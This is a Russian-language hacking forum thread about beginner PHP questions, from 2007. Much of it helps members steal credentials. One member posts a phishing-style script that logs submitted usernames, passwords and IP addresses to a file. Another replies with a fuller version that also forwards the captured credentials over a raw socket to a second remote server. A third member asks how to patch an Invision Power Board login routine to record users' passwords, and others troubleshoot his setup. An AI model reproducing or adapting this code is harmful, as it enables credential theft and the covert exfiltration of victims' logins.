[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    типа того =)))))))))))))))))
     
  2. halkfild

    halkfild Members of Antichat

    Joined:
    11 Nov 2005
    Messages:
    365
    Likes Received:
    578
    Reputations:
    313
    они просто автомотически регистрируваются как глобальные и ты можешь обращатся к ним напрямую $NameVar, а не как обычно $_REQUEST["NameVar"] (хотя так можна обращатся в любом случае)

    вот некоторое описание http://www.slaed.biz/ini.core.html#ini.register-globals

    вот по теме почитай http://www.phpclub.ru/detail/article/globals
     
    _________________________
    #382 halkfild, 29 Aug 2007
    Last edited: 29 Aug 2007
    1 person likes this.
  3. Tcl70

    Tcl70 Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    44
    Likes Received:
    5
    Reputations:
    -1
    народ помогите я уже свои мозги тут перепарел :-/
    мне надо сделать так что когда даные отсылали на "dvig.php"
    он чтом прописовал в html фаилик у себя на хосте и на другом хосте типа : /logs.html и на http://site2.ru/logsbackup.html
    вот пока что у меня тут получилось далше продвинутся с пересилкой никак немогу :-/

    PHP:
    <?php
    //////////////////////////
    $file = ("logs.html");
    //////////////////////////

    $user $_POST['username'];
    $pass $_POST['password'];
    $ip $_SERVER['REMOTE_ADDR'];
    $date date("d.m.Y H:i");

    $entry_line "<br>----------<br>
        
        <br>Username: "
    .$user
        
    ."<br> Password: ".$pass
        
    ."<br> IP: ".$ip
        
    ."<br> Date: " .$date"<br>\n";
        
        
    $fp fopen($file"a");
        
    fwrite($fp$entry_line);
        
    fclose($fp);
    header'Location: confirmation.html' );
    ?>
     
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Используй такой скрипт:

    PHP:
    <?php

        
    // Удалённый серв
        
    define("REMOTE_HOST""somehost.somedomain");

        
    // Удалённый скрипт (идентичный данному, только на другом сервере)
        
    define("REMOTE_RESOURCE""blablabla.php");

        
    // Порт - по умолчанию стандарт для HTTP
        
    define("REMOTE_PORT"80);

        
    $file "logs.html";   // Имя лога

        
    $date date("d.m.Y H:i");   // Дата записи

        // Инициализация переменной с юзером
        
    $user "";
        if (isset(
    $_POST["username"])) $user strval($_POST["username"]);

        
    // Инициализация переменно с пассом
        
    $pass "";
        if (isset(
    $_POST["password"])) $pass strval($_POST["password"]);

        
    // Айпишник юзера
        
    $ip strval($_SERVER["REMOTE_ADDR"]);

        
    // Форматируем данные для записи
        
    $entry  "<br>----------<br><br>\n";
        
    $entry .= sprintf("Date: %s<br>\n"$date);
        
    $entry .= sprintf("Username: %s<br>\n"$user);
        
    $entry .= sprintf("Password: %s<br>\n"$pass);
        
    $entry .= sprintf("IP: %s<br>\n"$ip);

        
    $fp fopen($file"a+");   // Открытие файла

        
    if (!$fp) die("Can't perform operation!");   // Ошибочка
       
    if (!fwrite($fp$entry)) die("Can't perform operation!");   // Запись

       
    fclose($fp);   // Закрытие

        // Если в передаваемых переменных отсутствует nosend или
        // она не равна true, то вызываем отправку на удалённый сервер.
        // Это нам позволит избежать замкнутой цепочки
        
    if (!isset($_POST["nosend"]) || $_POST["nosend"] != "true") {

            
    // Тело запроса
            
    $query sprintf("username=%s&password=%s&nosend=true"$user$pass);

            
    // Заголовки запроса + тело
            
    $send  sprintf("POST %s HTTP/1.1\r\n"REMOTE_RESOURCE);
            
    $send .= sprintf("Host: %s\r\n"REMOTE_HOST);
            
    $send .= "User-Agent: DaMaGeLaB Crawler\r\n";
            
    $send .= "Accept: */*\r\n";
            
    $send .= "Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n";
            
    $send .= "Pragma: no-cache";
            
    $send .= sprintf("Content-Length: %d"strlen($query));
            
    $send .= "Connection: Close\r\n\r\n";
            
    $send .= $query;

            
    // Соединяемся
            
    $socket fsockopen(REMOTE_HOSTREMOTE_PORT$errno$errstr60);
            if (!
    $socket) die("Can't perform operation!");

            
    // Делаем POST запрос
            
    $ret fwrite($socket$send);
            if (!
    $ret) die("Can't perform operation!");

            
    // Читаем ответ
            
    $buffer "";
            while (!
    feof($socket)) {
                
    $buffer .= fgets($socket1024);
            }

            
    fclose($socket);

            
    // Парсим на заголовки и тело
            
    list($headers$content) = preg_split("/\r\n\r\n/"$buffer2);

            
    // Если пришла какая-то лажа, то выход
            
    if (strlen($content) <= || strlen($headers) <= 0)
                die(
    "Send failed. Responce is not reqular!");

            
    // Получаем код ответа из заголовков
            
    $code intval(substr($headers93));
            if (
    $code != 200) die("Send failed. Responce code is not 200!");
        }

        
    header("Location: confirmation.html");   // Перенаправление

    ?>
     
    #384 groundhog, 29 Aug 2007
    Last edited: 29 Aug 2007
    2 people like this.
  5. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Если хостер позволяет - открывай фтп коннект на нужные тебе хосты и добавляй в файлы данные.
    если на тех хостах есть пшп - и твой хостер позволяет переслать на них данные (гет/пост) то шли запрос на аналогичный скрипт.

    или же делай это средствами браузера - подсовывай жабаскриптик юзеру и т.п.
     
    1 person likes this.
  6. Tcl70

    Tcl70 Elder - Старейшина

    Joined:
    2 May 2006
    Messages:
    44
    Likes Received:
    5
    Reputations:
    -1
    to : groundhog
    ГИГАНТСКОЕ СПОСИБО + РЕПА
     
    1 person likes this.
  7. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Вот хочу спросить какую книжку взять почитать по Php, с условием что синтакс знаком и все остальное по С++, а вот технологии пхп-шные именно и нужны... :confused:
     
    1 person likes this.
  8. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Может вот это подойдет
    _http://www.softtime.ru/bookphp/gl1_1.php
     
  9. GlOFF

    GlOFF Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    689
    Likes Received:
    484
    Reputations:
    4
    Red_Red1 Нормальная такая! А то читаю вообще детские, тут чуть получше...
    Ещё бы по php безопасности мануальчик подскажите плз...
     
    #389 GlOFF, 29 Aug 2007
    Last edited: 29 Aug 2007
  10. inv

    inv Banned

    Joined:
    3 Aug 2007
    Messages:
    261
    Likes Received:
    143
    Reputations:
    -58
    #стер

    xqwerx
    тут прям на чате выкладывали про безопасность...
     
    #390 inv, 30 Aug 2007
    Last edited: 30 Aug 2007
  11. Reanimat0R

    Reanimat0R New Member

    Joined:
    10 Jun 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Подскажите пожалуйста, где и что в ipb нужно прописать что бы перехватывались логин и пароль...
    путь вроде такой /***/sources/action_public/login.php
    :confused:
     
  12. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Нужно после функции афторицации прописать чтоб они в фаил записывались.. была такая тема на ачате....
     
  13. Reanimat0R

    Reanimat0R New Member

    Joined:
    10 Jun 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    PHP:
     /*-------------------------------------------------------------------------*/
        // DO LOG IN
        /*-------------------------------------------------------------------------*/
        
        
    function do_log_in()
        {
            
    //-----------------------------------------
            // INIT
            //-----------------------------------------
            
            
    $url    "";
            
    $member = array();
            
            
    //-----------------------------------------
            // Load handler...
            //-----------------------------------------
            
            
    require_once( ROOT_PATH.'sources/handlers/han_login.php' );
            
    $this->han_login           =  new han_login();
            
    $this->han_login->ipsclass =& $this->ipsclass;
            
    $this->han_login->init();
            
            
    //-----------------------------------------
            // Make sure the username and password were entered
            //-----------------------------------------
            
            
    if ( $_POST['UserName'] == "" )
            {
                if( 
    $this->ipsclass->vars['ipbli_usertype'] == 'username' )
                {
                    
    $this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'no_username' ) );
                }
                else
                {
                    
    $this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'no_email_login' ) );
                }
            }
        
             if ( 
    $_POST['PassWord'] == "" )
             {
                
    $this->ipsclass->Error( array( 'LEVEL' => 1'MSG' => 'pass_blank' ) );
            }   
            
            
    //-----------------------------------------
            // Check for input length
            //-----------------------------------------
            
            
    if ( $this->ipsclass->vars['ipbli_usertype'] == 'username' )
            {
                if ( 
    $this->ipsclass->txt_mb_strlen$_POST['UserName'] ) > 32 )
                {
                    
    $this->ipsclass->Error( array( LEVEL => 1MSG => 'username_long' ) );
                }
                
                
    $username strtolower(str_replace'|''|'$this->ipsclass->input['UserName']) );
            }
            else
            {
                
    $username strtolowertrim$this->ipsclass->input['UserName'] ) );
            }
            
            if ( 
    $this->ipsclass->txt_mb_strlen$_POST['PassWord'] ) > 32)
            {
                
    $this->ipsclass->Error( array( LEVEL => 1MSG => 'pass_too_long' ) );
            }
            
            
    $password md5$this->ipsclass->input['PassWord'] );
            
            
    //-----------------------------------------
            // Check auth
            //-----------------------------------------
            
            
    $this->han_login->login_authenticate$username$this->ipsclass->input['PassWord'] );
            
            
    //-----------------------------------------
            // Check return code...
            //-----------------------------------------
            
            
    $member $this->han_login->member;
            
            if ( ( ! 
    $member['id'] ) or ( $this->han_login->return_code == 'NO_USER' ) )
            {
                
    $this->log_in_form'wrong_name' );
            }
            
            if ( 
    $this->han_login->return_code != 'SUCCESS' )
            {
                if ( 
    $this->han_login->return_code == 'ACCOUNT_LOCKED' )
                {
                    
    $extra "<!-- -->";
                    
                    if( 
    $this->ipsclass->vars['ipb_bruteforce_unlock'] )
                    {
                        if( 
    $this->han_login->account_unlock )
                        {
                            
    $time time() - $this->han_login->account_unlock;

                            
    $time = ( $this->ipsclass->vars['ipb_bruteforce_period'] - ceil$time 60 ) > ) ? $this->ipsclass->vars['ipb_bruteforce_period'] - ceil$time 60 ) : 1;
                            
                            
    $extra sprintf$this->ipsclass->lang['bruteforce_account_unlock'], $time );
                        }
                    }

                    
    $this->ipsclass->Error( array( 'LEVEL' => 5'MSG' => 'bruteforce_account_lock''EXTRA' => $extra ) );
                }
                else
                {
                    
    $this->log_in_form'wrong_auth' );
                }
            }
            
            
    //-----------------------------------------
    Что и куда нужно вставить, чтобы логины и пароли записывались в отдельный файлик...
    :confused:
     
    #393 Reanimat0R, 31 Aug 2007
    Last edited: 31 Aug 2007
  14. Reanimat0R

    Reanimat0R New Member

    Joined:
    10 Jun 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Ну кто поможет?
     
  15. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Вставь этот код:

    после:

     
  16. Reanimat0R

    Reanimat0R New Member

    Joined:
    10 Jun 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Что-то не так, файл с логами не создается
     
  17. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    создай вручную и права поставь 755
    либо на каталог 777 кажется.
     
  18. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    n1†R0x, всё верно.

    Reanimat0R, ты хорошо посмотри... Он создаётся в текущей директории скрипта, то есть текущей для основного скрипта, который инклудит изменённый тобой. В общем для верности пропиши путь к логу, что-то типа:

    Путь разумеется на твоём серве другой...
     
  19. Reanimat0R

    Reanimat0R New Member

    Joined:
    10 Jun 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Блин...Что-то все равно не так...
    Вот сам файлик:
    http://slil.ru/24799099
     
  20. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Кстати, код немного поправь:

    А то не кошерно когда оно в одну строчку всё лепит... А вообще ты пробовал ставить на каталог в который пишешь права rwxrwxrwx (777)?
     
Thread Status:
Not open for further replies.